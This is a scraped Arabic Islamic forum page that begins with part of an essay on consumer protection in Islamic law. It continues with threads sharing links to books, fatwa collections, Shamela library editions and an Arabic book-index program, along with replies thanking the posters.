ثانياً: الشريعة ألإسلامية تحمى المستهلك من المنتج: لقد أمر الإسلام المنتج بتجنب إنتاج المحرمات والخبائث، كما أمره الرسول بإتقان الصنع مصداقاً لقوله صلى الله عليه وسلم: " إن يحب من أحدكم إذا عمل عملاً أن يتقنه "، كما أمره الإسلام بعدم الغش فقال صلى الله عليه وسلم: " من غشنا فليس منا "، فيجب ترشيد النفقات حتى تكون الأسعار فى متناول المستهلك العادى، ولا يبخس العامل أجره.
إن التزام المنتج بهذه الضوابط الشرعية ففى ذلك حماية المستهلك من المحرمات والخبائث، كما يحميه من السلعة السيئة الرديئة، وكذلك من المنتجات المغشوشة ومن الأسعار العالية، وهذا يحقق لكلاهما الخير والبركة، والربح والوفرة فى النفقات، هل يستطيع رجال الإنتاج فى هذا الزمن أن يلتزموا بالقيم الإيمانية والأخلاقية كما التزام ذلك السلف الصالح؟ إذا تحقق ذلك ففيه حماية لأنفسهم وحماية للمستهلك سواء بسواء.
(يُتْبَع .. اقلب الصفحة)
(61/278)
ثالثاً: الشريعة الإسلامية تحمى المستهلك من التجار: لقد تضمنت الشريعة الإسلامية مجموعة من الضوابط التى تحكم المعاملات فى الأسواق مع التجار، فقد أمر الإسلام بحرية المعاملات فى الأسواق وأن تكون خالية من الغش والتدليس والمقامرة والجهالة والغرر والمعاملات الربوية، وكل صيغ أكل أموال الناس بالباطل وصيغ الميسر، فعلى سبيل المثال عندما حرمت الشريعة الإسلامية الغش لأنه صور من صور ضياع الأموال، وعندما حرمت الرشوة لأنها من نماذج ابتزاز أموال المستهلك، وعندما حرمت الاحتكار لأنه يؤدى إلى غلاء الأسعار وظلم المستهلك، وصدق الرسول صلى الله عليه وسلم: " من دخل فى شئ من أسعار المسلمين ليغليه عليهم كان حقاً على الله أن يقعده من النار يوم القيامة "، وعندما حرم الإسلام بيع العينية والنجش وبيع التلجئة، وبيع الغرر وغير ذلك كل هذا لحماية المستهلك.
إن التزام التجار بالقواعد الشرعية للمعاملات فى الأسواق يحقق الأمن للمستهلك ويحافظ له على ماله، وفى نفس الوقت يبارك الله سبحانه وتعالى فى مكسب التجار، ولكن أين التاجر المسلم الصادق الأمين الذى وعده الله بأن يكون مع الشهداء والصالحين يوم القيامة، يقول الرسول صلى الله عليه وسلم: " إن التجار يبعثون يوم القيامة فجاراً إلاّ من اتقى الله وبر وصدق "، وكذلك يقول فى حديث آخر: "التاجر الصدوق الأمين مع النبيين والصديقين والشهداء "، أين تجار اليوم من التجار الذين رباهم رسول الله صلى الله عليه وسلم على الصدق والأمانة والقناعة والتيسير والترخيص على الناس والإيمان بأن الرزق بيد الله؟ إذا وجد التاجر المسلم المنضبط بشرع الله تحققت الحماية الفعالة للمستهلك.
رابعاً: الشريعة ألإسلامية تحمى المستهلك من جور السلطان: لقد وضعت الشريعة الإسلامية مجموعة من الضوابط لحماية المستهلك من الحاكم الظالم الجائر، فعلى سبيل المثال: لا يجوز له التدخل فى التعسير بدون ضرورة شرعية يقرها أهل الفقه والعلم، ولا يجوز له أن يفرض المكوس (الضرائب الظالمة) على التجار ليغلى الأسعار على الناس، والمكوس هى الضرائب الظالمة التى تؤخذ بدون حق وتنفق فى الباطل فيقول الرسول صلى الله عليه وسلم: " لا يدخل الجنة صاحب مكوس "، كما لا يجوز للحكومة أن تفرض على المعاملات خراج كنوع من الضرائب، ودليل ذلك حديث رسول الله صلى الله عليه وسلم: " هذه سوقكم فلا ينتقص ولا يضربن عليه خراج "، ويجب على ولى الأمر حماية المستهلك وعدم الإضرار بالمنتجين، لا ضرر ولا ضرار، ولا وكس ولا شطط.
W وسائل حماية المستهلك فى المنهج الإسلامى.
لقد شرع الإسلام بعض الوسائل والنظم لحماية المستهلك فيما لو لم ينضبط المستهلك والمنتج والتاجر والسلطان بضوابط الشريعة الإسلامية من هذه الوسائل على سبيل التذكرة: الرقابة الذاتية التى تمنع من مخالفة شرع الله فى المنبع واستشعار مراقبة الله عز وجل، وكذلك جماعة الأمر بالمعروف والنهى عن المنكر التى تقوم بمشارفة الأسواق لحماية المستهلك من جور الآخرين، وكذلك نظام الحسبة وتطبيقاته الجلية فى مجال حماية المستهلك فى الأسواق.
نحن فى أشد الحاجة إلى وجود جمعيات الأمر بالمعروف والنهى عن المنكر لتقوم بوظيفة المحتسب لحماية المستهلك، ويمكن أن يطلق عليها جماعة الحقوق الاقتصادية.
هذه نماذج عملية تمثل أن الإسلام يستطيع أن يقدم حلولاً موضوعية وعملية لمشاكلنا المعاصرة فيما لو أتيح له فرصة التطبيق، ألم يأن للحكومات العربية والإسلامية أن تطبق شرع الله وتؤمن بأن هذا هو المخرج من أزماتنا الاقتصادية، وصدق الله القائل: ? وَلَوْ أَنَّ أَهْلَ القُرَى آمَنُوا وَاتَّقَوْا لَفَتَحْنَا عَلَيْهِم بَرَكَاتٍ مِّنَ السَّمَاءِ وَالأَرْضِ وَلَكِن كَذَّبُوا فَأَخَذْنَاهُم بِمَا كَانُوا يَكْسِبُونَ ? [الأعراف آية: (96)].
ـ[خلدون الجزائري]ــــــــ[20 - 09 - 08, 02:24 ص]ـ
10 ـ الحماية الجنائية للمستهلك في إطار القانون المتعلق بالزجر عن الغش في البضائع
فاتح كمال
طالب باحث بوحدة قانون الاستهلاك والمنافسة
كلية الحقوق بفاس
رابط البحث:
من هنا ( www.apcz.123.fr/modules/mybooks/visit.php?cid=1&lid=1)
على شكل ملف وورد word
أو هنا ( http://209.85.135.104/search?q=cache:n-f_T2YHaW8J:www.apcz.123.fr/modules/mybooks/visit.php%3Fcid%3D1%26lid%3D1+%22%D8%A7%D9%84%D8%A D%D9%85%D8%A7%D9%8A%D8%A9+%D8%A7%D9%84%D8%AC%D9%86 %D8%A7%D8%A6%D9%8A%D8%A9+%D9%84%D9%84%D9%85%D8%B3% D8%AA%D9%87%D9%84%D9%83%22&hl=ar&ct=clnk&cd=3) على شكل html
ولتسهيل الأمر حملته وهو في المرفقات على شكل وورد word
ـ[خلدون الجزائري]ــــــــ[20 - 09 - 08, 03:02 ص]ـ
11 ـ جامعة الامارات العربية المتحدة
كلية الشريعة و القانون
حماية المستهلك في الشريعة والقانون
6 – 7 ديسمبر 1998 م
كتاب المؤتمر:
http://slconf.uaeu.ac.ae/prev_conf/1998-med/1.pdf
(يُتْبَع .. اقلب الصفحة)
(61/279)
ـ[عالية الهمة]ــــــــ[06 - 10 - 08, 04:48 م]ـ
جازى العلي القدير بعظيم جزائه كل من مد يد العون لي و كتبه اله في ميزان حسناته
وفقك الله أخ خلدون
و أنا في نتظار إرشاداتكم و ملاحظاتكم القيمة بحول اله. حتى يخرج البحث في أحسن صورة
و الله المعين
ـ[خلدون الجزائري]ــــــــ[06 - 10 - 08, 08:37 م]ـ
يطالع أيضا:
أبحاث ندوة حماية المستهلك المنظم في جامعة الوادي ـ الجزائر
في الموضوع التالي: http://www.ahlalhdeeth.com/vb/showthread.php?t=149667
ـ[منير الجزائري]ــــــــ[09 - 10 - 08, 05:13 م]ـ
بارك الله فيكم وفي جهودكم(61/280)
سؤال حول كتاب في التنبيه على أخطاء شرح النووي على صحيح مسلم للشيخ مشهور حسن سلمان
ـ[عبد الحق آل أحمد]ــــــــ[17 - 09 - 08, 09:01 م]ـ
بسم الله الرحمن الرحيم
أيها الإخوة الكرام ..
سؤالي حول كتاب في التنبيه على أخطاء شرح النووي على صحيح مسلم للشيخ مشهور حسن سلمان ..
وهل هو مطبوع وفي أي دار نشر ..
وهل هو موجود على الشبكة العنكبوتية ..
وهل يوجد كتب في هذا الباب غير كتاب الشيخ مشهور إن ثبت عنه ..
وبارك الله فيمن أفاد ونفع إخوانه ..
ـ[عبد الحق آل أحمد]ــــــــ[17 - 09 - 08, 09:03 م]ـ
وجدت في موقعه تحت قسم [المؤلفات]: عنوان الكتاب هو: (الردود والتعقبات على ما وقع للإمام النووي في صحيح مسلم) تأليف 1993، فهل من خبر عنه؟؟
ـ[بن سالم]ــــــــ[17 - 09 - 08, 09:19 م]ـ
- (الردود والتعقبات على ما وقع للإمام النووي في شرح صحيح مسلم من التأويل في الصفات وغيرها من المسائل المهمات)
تصنيف مَشهور بن حسن سلمان - حفظه الله ونفع به -.
ط: دار الهجرة بالسعودية عام 1415 - 1994
في 368 صفحة.
ـ[عبد الحق آل أحمد]ــــــــ[17 - 09 - 08, 09:27 م]ـ
- (الردود والتعقبات على ما وقع للإمام النووي في شرح صحيح مسلم من التأويل في الصفات وغيرها من المسائل المهمات)
تصنيف مَشهور بن حسن سلمان - حفظه الله ونفع به -.
ط: دار الهجرة بالسعودية عام 1415 - 1994
في 368 صفحة.
أحسن الله إليك أخي الكريم ...
وهل بالإمكان رفعه على الموقع مصورا .. وجزاك الله خير ..
ـ[أبو عبد المحسن العنابي]ــــــــ[18 - 09 - 08, 02:27 ص]ـ
بلغني أن الشيخ مشهور زاد في الكتاب حتى جاوز الضعف، ولا أدري أي دار ستحظى بطباعته
ـ[إسماعيل سعد]ــــــــ[18 - 09 - 08, 02:38 ص]ـ
جزاكم الله خيرا
ـ[عبد الحق آل أحمد]ــــــــ[19 - 09 - 08, 09:06 م]ـ
أحسن الله إليك أخي الكريم ...
وهل بالإمكان رفعه على الموقع مصورا .. وجزاك الله خير ..
اكرر طلبي .. والله المستعان.
ـ[بن سالم]ــــــــ[19 - 09 - 08, 09:15 م]ـ
... إن كنتَ تقصِدُني أخي الفاضل، فأقولُ:
إن تيسَّر الأمر ووُجِد الكتاب فأبشِر بالخيرِ.
وأعتذر عن التَّأخّرِ.
واللهُ - وحدهُ - المُستعان.
ـ[عبد الحق آل أحمد]ــــــــ[20 - 09 - 08, 08:44 م]ـ
... إن كنتَ تقصِدُني أخي الفاضل، فأقولُ:
إن تيسَّر الأمر ووُجِد الكتاب فأبشِر بالخيرِ.
وأعتذر عن التَّأخّرِ.
واللهُ - وحدهُ - المُستعان.
الأخ الكريم: "بن سالم" حقيقة لم اقصد أخ غيرك لما رايته من نشاطك و جهودك المباركة - إن شاء الله تعالى- في تنزيل الكتب القيمة و المصورة .. أسال الله تعالى ان ييسر لك أمره .. بوركت
ـ[عبد الحق آل أحمد]ــــــــ[02 - 10 - 08, 10:24 م]ـ
أكرر الطلب لعل الله ييسر من ينزله ..
ـ[مصطفي سعد]ــــــــ[02 - 10 - 08, 10:45 م]ـ
وهناك كتاب ولكنه ليس موجودا ايضا التعليق السنى للشيخ عبدالعظيم بدوى
ـ[زوجة وأم]ــــــــ[14 - 03 - 09, 09:59 ص]ـ
تجد الكتاب هنا:
http://majles.alukah.net/showthread.php?t=20801
ـ[أحمد محمد بسيوني]ــــــــ[14 - 03 - 09, 10:29 ص]ـ
http://www.ahlalhdeeth.com/vb/showpost.php?p=925476&postcount=691
ـ[أبويعلى البيضاوي]ــــــــ[14 - 03 - 09, 11:37 ص]ـ
روابط الكتاب وجزى الله خيرا من قام بتصويره ورفعه آمين
رابط 1
http://www.mediafire.com/?ntdizotjz2t
رابط2
http://www.4shared.com/file/66072106/4cd6551/__online.html
رابط3
http://www.archive.org/download/rudud_nawawi/rudud_nawawi.PDF
ـ[أبويعلى البيضاوي]ــــــــ[14 - 03 - 09, 12:31 م]ـ
رابط نسخة تامة قمت باضافة الصفحات الناقصة اليها , فلله الحمد وحده
http://www.archive.org/download/rudud_nawawi2/rudud_nawawi2.PDF
ـ[أحمد محمد بسيوني]ــــــــ[14 - 03 - 09, 01:54 م]ـ
رفع الله قدركم في الدارين.(61/281)
زاد المستقنع مضبوطا
ـ[رضا ابراهيم محمد]ــــــــ[18 - 09 - 08, 12:45 ص]ـ
بسم الله الرحمن الرحيم
هذا متن زاد المستقنع مضبوطا، ومنسقا بطريقة طيبة جدا، عسى الله أن ينفع به.
ـ[خليل إبراهيم]ــــــــ[18 - 09 - 08, 12:59 ص]ـ
بارك الله فيكم
ـ[إسماعيل سعد]ــــــــ[18 - 09 - 08, 02:39 ص]ـ
جزاكم الله خيرا(61/282)
للشاملة: فقه النوازل للشيخ بكر أبي زيد رحمه الله
ـ[نافع]ــــــــ[18 - 09 - 08, 02:37 ص]ـ
السلام عليكم ورحمة الله وبركاته
هذا الكتاب قد أدخله للحاسب وأعده للشاملة أحد أعضاء هذا الملتقى - ولا يريد ذكر اسمه -، فجزاه الله خيرا ورزقنا وإياه الإخلاص والقبول
وهو موافق للمطبوع وله نسخة مصورة يمكن ربطها به
نسخة الشاملة، من الترقية الحية أو من هنا
http://www.shamela.ws/books/107/10776.rar
النسخة المصورة
http://www.shamela.ws/pdf.php?bid=58&type=1
ـ[أبو المظفر السِّنَّاري]ــــــــ[18 - 09 - 08, 03:01 ص]ـ
جزاك الله خيرًا وبارك الله فيك.
ـ[ابن وهب]ــــــــ[18 - 09 - 08, 03:25 ص]ـ
جزاكم الله خيرا
ـ[أبو ذر محمد]ــــــــ[18 - 09 - 08, 03:26 ص]ـ
جزاكما الله خيرا.
ـ[أبو عبدالرحمن عبد القادر]ــــــــ[18 - 09 - 08, 09:33 م]ـ
جزاكما الله خيرا(61/283)
إتحاف الجماعة، أي طبعة هذه
ـ[نافع]ــــــــ[18 - 09 - 08, 02:47 ص]ـ
السلام عليكم ورحمة الله وبركاته
إتحاف الجماعة بما جاء في الفتن والملاحم وأشراط الساعة للشيخ حمود التويجري
كان قد تم نشره على الموقع (القديم) من فترة، وهو موافق للمطبوع
http://www.shamela.ws/old_site/open.php?cat=6&book=2236
لكن لا أدري أي طبعة هي
لأن الكتاب قد حملته من موقع رسالة الإسلام
http://www.resaltalislam.org
وقع به عدد من الكتب، كلها موافق للمطبوع، وكثير منها لم أعرف طبعته، بعد البحث والسؤال
http://www.resaltalislam.org/UserFrontEnd/ReadLibrary/BookTOCBrowse.aspx?sectionid=1
فلعل أعضاء الملتقى يساعدون في هذا، بارك الله فيكم
ـ[أبو الحسن الأثري]ــــــــ[18 - 09 - 08, 03:59 ص]ـ
لا أعرف لها طبعة إلا التي طبعتها الصميعي!!
فإن كنت مخطئاً فليصحح
ـ[نافع]ــــــــ[18 - 09 - 08, 01:41 م]ـ
المطلوب ممن عنده النسخة الورقية
أن يراجع بعضا من أرقام صفحاتها مع أرقام صفحات نسخة الشاملة، على الرابط أعلاه
فإن وجد الأرقام متطابقة، فليتفضل بنقل جميع ما يجده من بيانات الطبعة (دار النشر، رقم الطبعة، عام النشر ... ) ليمكن وضعها في بطاقة الكتاب
وجزاكم الله خيرا
ـ[أبو عبد المحسن العنابي]ــــــــ[11 - 10 - 08, 01:56 م]ـ
السلام عليكم ورحمة الله وبركاته
أخي نافع
قارنت ما ورد في شبكة رسالة الإسلام فوجدته مطابقا للمطبوع (قارنت بعض الصفحات فقط)
وهذه بيانات الكتاب:
إتحاف الجماعة بما جاء في الفتن والملاحم وأشراط الساعة
تأليف: الفقير إلى الله تعالى: حمود بن عبد الله التويجري (1334هـ-1413هـ)
الطبعة الأولى: 1396هـ
الطبعة الثانبة: 1414هـ وهي التي قارنت بها
دار الصميعي للنشر والتوزيع
الرياض - المملكة العربية السعودية
عدد الأجزاء: 3
المجلد الأول: 418 صفحة
المجلد الثاني:434 صفحة
المجلد الثالث:440 صفحة
http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=60136&stc=1&d=1223715348(61/284)
للشاملة موسوعة فتاوي المعاصرين لأول مرة علي الشبكة وحصريا
ـ[ابن بركات]ــــــــ[18 - 09 - 08, 03:59 ص]ـ
هذه إخوتي فتاوي جديد لم تنشر علي الشبكة من قبل وفقني الله في جمعها فأحببت أن يعم الخير ويستفيد الجميع ولا نرجو الا الدعاء ونسأله سبحانه و تعالي الأجر والثواب
الرابط:
http://www.files-up.com/files/5lk8dpprldbrm2/ftawa.rar
المضمون:
فتاوى الأزهر
فتاوى الإسلام سؤال وجواب
فتاوى البهي
فتاوى الزرقا
فتاوى الشيخ ابن جبرين
فتاوى الشيخ عبد الرزاق عفيفي
فتاوى الشيخ عبد الكريم الخضير
فتاوى الشيخ كشك
فتاوى اللجنة الدائمة للبحوث العلمية والإفتاء
فتاوى المسير
فتاوى النساء للشعراوي
فتاوى حسنين مخلوف
فتاوى قطاع الإفتاء بالكويت
فتاوى معاصرة
فتاوى واستشارات الإسلام اليوم
فتاوى ورسائل ابن عثيمين
فتاوى ورسائل محمد بن إبراهيم آل الشيخ
فتاوى يسألونك
فتاوي الصادق الغرباني
فتاوي عبد الحليم محمود
فتاوي عطية صقر
فتاوي محمود شلتوت
مجموع فتاوى ابن باز
مجموع فتاوى ورسائل ابن عثيمين
فتاوى الشيخ محمد صالح المنجد
فتاوى الشيخ الشنقيطي
محمَّد الأمين بن محمد المختار الجكي
ـ[أم جمال الدين]ــــــــ[18 - 09 - 08, 04:34 ص]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
جزاكم الله خيراً ..
هل هذه الفتاوى غير تلك الموجودة في موقع الشاملة؟؟
لأنني أرى أنّ هناك فتاوى بنفس الاسم، كفتاوى العثيمين ويسألونك وغيرهما ..
ـ[خالد البعلبكي]ــــــــ[18 - 09 - 08, 04:54 ص]ـ
بارك الله بك وجزاك الله خيرا
جاري التحميل
ـ[ميهوب بوعلام]ــــــــ[18 - 09 - 08, 09:48 ص]ـ
بارك الله بك وجزاك الله خيرا
ـ[أبو ذر محمد]ــــــــ[18 - 09 - 08, 03:06 م]ـ
جزاك الله خيرا.
ـ[نضال دويكات]ــــــــ[18 - 09 - 08, 03:13 م]ـ
جزاك الله خيرا.
ـ[ابن بركات]ــــــــ[18 - 09 - 08, 11:10 م]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
جزاكم الله خيراً ..
هل هذه الفتاوى غير تلك الموجودة في موقع الشاملة؟؟
لأنني أرى أنّ هناك فتاوى بنفس الاسم، كفتاوى العثيمين ويسألونك وغيرهما ..
هذه المجموعة من الفتاوي فيها فتاوي من موقع الشاملة أدرجته لعموم الفائدة والباقي جديد جديد
ـ[نضال دويكات]ــــــــ[18 - 09 - 08, 11:58 م]ـ
بعد تحميلها وجدت فيها فتاوى الازهر فقط
هل حدث هذا معكم
ـ[إبراهيم حسين]ــــــــ[19 - 09 - 08, 12:31 ص]ـ
بارك الله فيك
ـ[أبو المظفر السِّنَّاري]ــــــــ[19 - 09 - 08, 12:49 ص]ـ
جزاك الله خيرا.
ـ[ابن بركات]ــــــــ[19 - 09 - 08, 04:50 ص]ـ
بعد تحميلها وجدت فيها فتاوى الازهر فقط
هل حدث هذا معكم
لا ياأخي الفاضل الموسوعة كاملة وكل الفتاوي المذكورة أعلاه موجودة بها ولكن تصفها جيدا
بارك الله فيك ولأنها مجموعة في كتاب واحد.
ـ[ابن بركات]ــــــــ[20 - 09 - 08, 03:36 ص]ـ
لا ياأخي الفاضل الموسوعة كاملة وكل الفتاوي المذكورة أعلاه موجودة بها ولكن تصفها جيدا
بارك الله فيك ولأنها مجموعة في كتاب واحد.
تصفحها جيدا
ـ[أم جمال الدين]ــــــــ[20 - 09 - 08, 03:39 ص]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته ..
بالنسبة لمن وجد فيها كتاباً واحداً .. فيُرجى النظر في المكان المكتوب فيه فتاوى الأزهر في الأعلى .. تجد سهماً على اليسار اضغط عليه وستجد بقية الفتاوى ..
لكاتب الموضوع:
جزاك الله خيراً ولكن هناك فتاوى مكررة .. مثل فتاوى ابن عثيمين .. مكررة باسم: فتاوى ابن عثيمين، و مجموع فتاوى ابن عثيمين
ـ[محمد سمير]ــــــــ[20 - 09 - 08, 05:31 ص]ـ
جزاك الله خيراً
ـ[ابوعبدالله القزلان]ــــــــ[20 - 09 - 08, 06:55 ص]ـ
قد صدر كتاب فتاوى العلماء البلد الحرام منهم الفوزان وابن باو وابن عثيمين والجبرين
ـ[نضال دويكات]ــــــــ[20 - 09 - 08, 01:36 م]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته ..
بالنسبة لمن وجد فيها كتاباً واحداً .. فيُرجى النظر في المكان المكتوب فيه فتاوى الأزهر في الأعلى .. تجد سهماً على اليسار اضغط عليه وستجد بقية الفتاوى ..
لكاتب الموضوع:
جزاك الله خيراً ولكن هناك فتاوى مكررة .. مثل فتاوى ابن عثيمين .. مكررة باسم: فتاوى ابن عثيمين، و مجموع فتاوى ابن عثيمين
بارك الله فيك الان ظهرت
وجزاكم الله كل خير موسوعة طيبة
ـ[علي الفضلي]ــــــــ[20 - 09 - 08, 07:48 م]ـ
بارك الله فيكم أخي ابن بركات.
ـ[حسن عبد الله]ــــــــ[01 - 10 - 08, 02:34 م]ـ
بارك الله فيك ونفع بك
ـ[يحيى صالح]ــــــــ[02 - 10 - 08, 04:51 م]ـ
جزاكم الله خيرًا ونفع بكم
ـ[أبو أفنان المصري]ــــــــ[22 - 12 - 08, 04:46 م]ـ
الرابط لا يعمل
ـ[كاتب]ــــــــ[23 - 12 - 08, 03:41 ص]ـ
الرابط لا يعمل
لعلك تتكرم بمراجعة الرابط، أو إعادة رفع الكتاب ... وشكرا لكم ..
ـ[محمد سليم]ــــــــ[23 - 12 - 08, 06:13 ص]ـ
بالفعل الرابط لا يعمل
جزاك الله خيرا في رفعه مرة أخرى(61/285)
حملوا كتابي ((الفتاوى المعاصرة في الحياة الزوجية)) (معدلة) للشاملة 3 + ورد + pdf مفهرسة
ـ[علي 56]ــــــــ[18 - 09 - 08, 10:40 ص]ـ
حقوق الطبع لكل مسلم
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد المرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فقد قال الله تعالى لرسوله - صلى الله عليه وسلم -: { ... وَأَنزَلْنَا إِلَيْكَ الذِّكْرَ لِتُبَيِّنَ لِلنَّاسِ مَا نُزِّلَ إِلَيْهِمْ وَلَعَلَّهُمْ يَتَفَكَّرُونَ} (44) سورة النحل
وقد بيَّن الرسول - صلى الله عليه وسلم - ما يحتاج الناس إليه في معاشهم ومعادهم، وبين أصحابه ما احتاجه الناس وكذلك بين الأئمة المجتهدون ذلك، عبر مختلف العصور الإسلامية ..
وقد تكلم الفقهاء عن آداب المعاشرة الزوجية سواء في كتب التفسير أو كتب الحديث، أوكتب الفقه، وتعرضوا لكثير من القضايا الجنسية.
وبعد أن غُزيَ العالم الإسلامي فكريا وعسكريا وحضاريا، حدثت قضايا كثيرة بين المسلمين - بسبب هذا الغزو- ومن ذلك التحلل الجنسي، والشذوذ الجنسي، والممارسات الجنسية غير المنضبطة بشرع الله تعالى.
ذلك لأن الغرب عندما تحرر من القيم الدينية، لم يبق فيه رادع ولا ضابط، وانتشر التكشف والعري بين ظهراني القوم، وصار الجنس مباحا على قارعة الطريق، فنتج عن ذلك الأمراض المتنوعة، والبرود الجنسي، فأخذ القوم يبحثون عن محرِّضات جنسية أخرى لتشبع رغباتهم وشواتهم الدنيئة، فلجئوا إلى طرق عديدة ومتنوعة.
وقد كانت هذه الوسائل والطرق غير شائعة بين المسلمين عامة - إلا قليلا منهم ممن ذهب للغرب أو الشرق - ولكن بعد وجود وسائل الاتصال الحديثة، وخاصة الفضائيات والكمبيوتر والإنترنت، انتشرت بشكل مريع، وغزيَ المسلمُ في عقر داره.
فكان لزاما على علماء المسلمين، أن يبينوا حكم الشرع في هذه المستجدات، بعد أن صارت حقيقة ماثلة أمام المسلمين.
ولكن العلماء منذ البداية كانت لهم مواقف متباينة في حكم هذه الأشياء:
فمنهم من أغلق الباب وقال: كل ما يأتي عن طريق الغرب أو الشرق ضلال في ضلال، وما يتمخض عنه فهو حرام ورجس، لا يجوز الاقتراب منه.
وفريق انبهر بحضارة الغرب، وأمر المسلمين أن يقلدوهم في كل شيء دون تمييز بين الغثِّ والسمين وفريق قد أدلى بدلوه في هذه المستجدات، وبُحِثَ كثيرٌ منها بشكل فردي، وبعضها بشكل جماعي عن طريق المجامع الفقهية ..
وأول من تكلم في هذا الموضوع الخطير الشيخ محمود مهدي الاستانبولي رحمه الله في كتابه تحفة العروس ...
وتكلم فيها الدكتور يوسف القرضاوي بكتابه فتاوي معاصرة، وتكلم فيها الدكتور محمد سعيد رمضان البوطي، وتكلم فيها الكثيرون ...
وصار هذا شائعا ومنتشرا على مواقع إسلامية عديدة في النت
ومن خير هذه المواقع الشبكة الإسلامية، ففيها قسم للفتاوى، وقد جمعت هذه الفتاوى خلال ست سنوات فكانت ضخمة جدا، ومهمة جدا، حيث إنه كانت تتم بإشراف علمي دقيق وبرئاسة الدكتور عبد الله الفقيه (في قطر)
وقد قمت باستقراء ما يتعلق بالفتاوى المعاصرة في الحياة الزوجية، فكانت ضخمة جدًا، وكافية وشافية - بإذن الله تعالى - حيث فيها الإجابة على جميع هذه التساؤلات، والتي نحن اليوم بأمس الحاجة لها
وقد تركتها حسب ترتيبها في الفتاوى، ووضعت لها عناوين تعبر عنها، وفهرستها، وراجعتها، وعقبت على بعضها، وزدت بعض التوضيحات في هذه النسخة، وبعض الفتاوى .....
وهي تدور حول الموضوعات التالية:
1 - ما يحل للزوج من زوجته من استمتاع
2 - ما يحل له من زوجته الحائض
3 - التحذير من الحيضة والدبر
4 - النظر إلى عورة الزوج أو الزوجة
5 - ما يحل من أنواج الجماع ....
6 - أحكام عقد الزواج وما يترتب عليه
7 - اشتراط الولي في عقد الزواج
8 - النهي عن الاستمناء إلا بيد الزوجة
9 - النهي عن السحاق
10 - حقوق الزوجين
11 - حق الزوجة في المعاشرة الزوجية
12 - آداب ليلة الدخلة ....
13 - حكم الشرع في كثير من الوسائل الحديثة التي أفرزتها الحضارة الغربية
14 - الحث على النسل
15 - أحكام منع الحمل والإجهاض
16 - أحكام الزنى والحمل من الزنا وزواج الزانية .....
17 - آداب المعاشرة بين الزوجين
18 - حكم العين والسحر والربط
19 - علاج الضعف الجنسي
20 - حكم العقد على الصغيرة
21 - حكم طفل الأنبوب
22 - أحكام زواج السر
23 - أحكام نكاح التحليل
وغير ذلك وفيها تفاصيل كثيرة، بحيث تغطي تساؤلات عامة الرجال والنساء.
وأسأل الله تعالى أن ينفع بها جامعها، وقارئها وناشرها آمين.
قال تعالى: {أَنزَلَ مِنَ السَّمَاء مَاء فَسَالَتْ أَوْدِيَةٌ بِقَدَرِهَا فَاحْتَمَلَ السَّيْلُ زَبَدًا رَّابِيًا وَمِمَّا يُوقِدُونَ عَلَيْهِ فِي النَّارِ ابْتِغَاء حِلْيَةٍ أَوْ مَتَاعٍ زَبَدٌ مِّثْلُهُ كَذَلِكَ يَضْرِبُ اللّهُ الْحَقَّ وَالْبَاطِلَ فَأَمَّا الزَّبَدُ فَيَذْهَبُ جُفَاء وَأَمَّا مَا يَنفَعُ النَّاسَ فَيَمْكُثُ فِي الأَرْضِ كَذَلِكَ يَضْرِبُ اللّهُ الأَمْثَالَ} (17) سورة الرعد
في 5 ذي الحجة لعام 1427 هـ الموافق ل 25/ 12/2006 م
الباحث في القرآن والسنة
علي بن نايف الشحود
تم تعديلها بتاريخ 18 رمضان 1429 هـ الموافق ل 18/ 9/2008 م
(يُتْبَع .. اقلب الصفحة)
(61/286)
ـ[أبو طلحة الحضرمي]ــــــــ[18 - 09 - 08, 02:46 م]ـ
جزاك الله خيرًا
ـ[أبو أكرم الحلبي]ــــــــ[18 - 09 - 08, 03:49 م]ـ
أسأل الله أن يجعل لك من كل همٍ فرجاً ومن كل ضيق مخرجاً
ـ[أبو أكرم الحلبي]ــــــــ[18 - 09 - 08, 04:21 م]ـ
كان نفسي أن أقول شيئاً:
هذا الكتاب يستحق أ يطبع وينشر
ـ[أبو عبد الرحمن الطاهر]ــــــــ[18 - 09 - 08, 05:10 م]ـ
بارك الله فيك و جزاك خيرا
ـ[أبو عبد الله السني]ــــــــ[18 - 09 - 08, 06:39 م]ـ
كان في نفسي أن أقول شيئاً:
هذا الكتاب يستحق أن يطبع وينشر
إي واللهِ،
ونوجه طلبنا إلى الأخ الطيماوي ليطبعه كما طبع غيره من كتب الشيخ ......................
ـ[أبو مازن العوضي]ــــــــ[18 - 09 - 08, 06:46 م]ـ
شكر الله سعيك
ـ[علي 56]ــــــــ[18 - 09 - 08, 06:57 م]ـ
وأنتم جميعاً أيها الأحباب
جزاكم الله خيرا ونفع بكم البلاد والعباد
ولاشك أن المكتبة الإسلامية فقيرة بمثل هذه الموضوعات المستجدة، وكتاب تحفة العروسين - على أهميته - لا يغني عن هذا الكتاب
واي واحد في أية بلد في العالم يريد طبع ((الفتاوى المعاصرة في الحياة الزوجية)) فهو مأذون له، وهذا الإذن موجود في صفحة الغلاف في ملف ( pdf) وملف الورد كذلك.(61/287)
برنامج الكتب العربية المطبوعة الإصدار 25 من سنة 2007
ـ[الألخاسي]ــــــــ[18 - 09 - 08, 11:29 ص]ـ
وظيفة البرنامج هي: البحث عن أي كتاب؛ هل هو مطبوع أم لا، فإن كان مطبوعا فأي دار طبعه، وكم سعره، ويتم البحث بواسطة عنوان الكتاب أو المؤلف أو المحقق أو الموضوع أو الناشر أو سنة النشر.
وهذا الإصدار 25 لعام 2007 يحتوي أكثر من 250000 عنوان للكتاب ل 1450 دار نشر.
وقد وضع أخونا أبو مهند المصري على هذا الرابط ( http://www.ahlalhdeeth.com/vb/showthread.php?p=816029) هذا البرنامج لكنه الإصدار 23 لعام 2005، وكان يحتوي 190000 عنوان كتاب.
وجدتُ البرنامج عند بعض الإخوة ولا أدري هل هو موجود على الشبكة أم لا، لكني أعتقد أنه غير موجود في هذا الملتقى المبارك.
فتفضلوا (حجم البرنامج: 80 ميغا):
http://www.4shared.com/file/63449951/b0c5c56f/APBsetup25F.html
ـ[أيوب أبو يوسف]ــــــــ[18 - 09 - 08, 01:38 م]ـ
شكرًا لك .. جزاك الله خيرًا.
